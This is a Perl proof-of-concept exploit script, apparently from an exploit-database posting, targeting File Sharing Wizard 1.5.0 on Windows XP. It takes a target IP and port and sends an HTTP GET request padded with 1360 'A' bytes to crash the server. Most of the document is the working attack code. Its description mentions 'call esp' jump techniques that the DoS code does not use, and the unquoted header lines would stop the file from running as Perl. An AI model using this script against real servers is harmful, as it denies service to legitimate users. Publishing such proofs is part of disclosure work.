#!/usr/bin/perl

use IO::Socket::INET;

Exploit Title: File Sharing Wizard 1.5.0 - Denial of Service (DoS)

Discovery by: Fernando Mengali

Discovery Date: 07 january 2024

Vendor Homepage: N/A

Download to demo: https://drive.google.com/file/d/13fs9IHSaGQ27YIQNDyrQV20jCT7owPQ6/view?usp=sharing

Notification vendor: No reported

Tested Version: File Sharing Wizard 1.5.0

Tested on: Window XP Professional - Service Pack 2 and 3 - English

Vulnerability Type: Denial of Service (DoS)

Vídeo: https://drive.google.com/file/d/1gPiMU0Wemdx-rxEzAPhQCyparn1JiX0j/view?usp=sharing

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static ‘call esp’
#Backwards jump to code a known distance from the stack pointer.
#The server did not properly handle request with large amounts of data via method GET to web server.
#The following request sends a large amount of data to the web server to process across method GET, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

$sis="$^O";

if ($sis eq "windows"){  
  $cmd="cls";  
} else {  
  $cmd="clear";  
}

system("$cmd");

    intro();  
main();

    print "[+] Exploiting... \n";

my $exploit = "\x41"x1360;

my $payload_header  = "GET " . $exploit;  
$payload_header .= " HTTP/1.0\r\n\r\n";

my $connect = IO::Socket::INET->new(  
   PeerAddr => $ip,  
   PeerPort => $port,  
   Proto    => 'tcp'  
) or die "Unable to connect to the victim: $!\n";

$connect->send($payload_header);  
close $connect;

print "[+] Done! Exploited!\n";

print "[+] Done - Exploited success!!!!!\n\n";

 sub intro {  
  print "#################################################################\n";  
  print "#           File Sharing Wizard 1.5.0 - Denied of Service       #\n";  
  print "#                                                               #\n";  
  print "#                Coded by Fernando Mengali                      #\n";  
  print "#                                                               #\n";  
  print "#              e-mail: fernando.mengalli\@gmail.com             #\n";  
  print "#                                                               #\n";  
  print "#################################################################\n";  

}

sub main {

our ($ip, $port) = @ARGV;

  unless (defined($ip) && defined($port)) {

    print "       \nUsage: $0 <ip> <port>                 \n";  
    exit(-1);

  }  

}

#3. Solution/ How to fix:

This version product is deprecated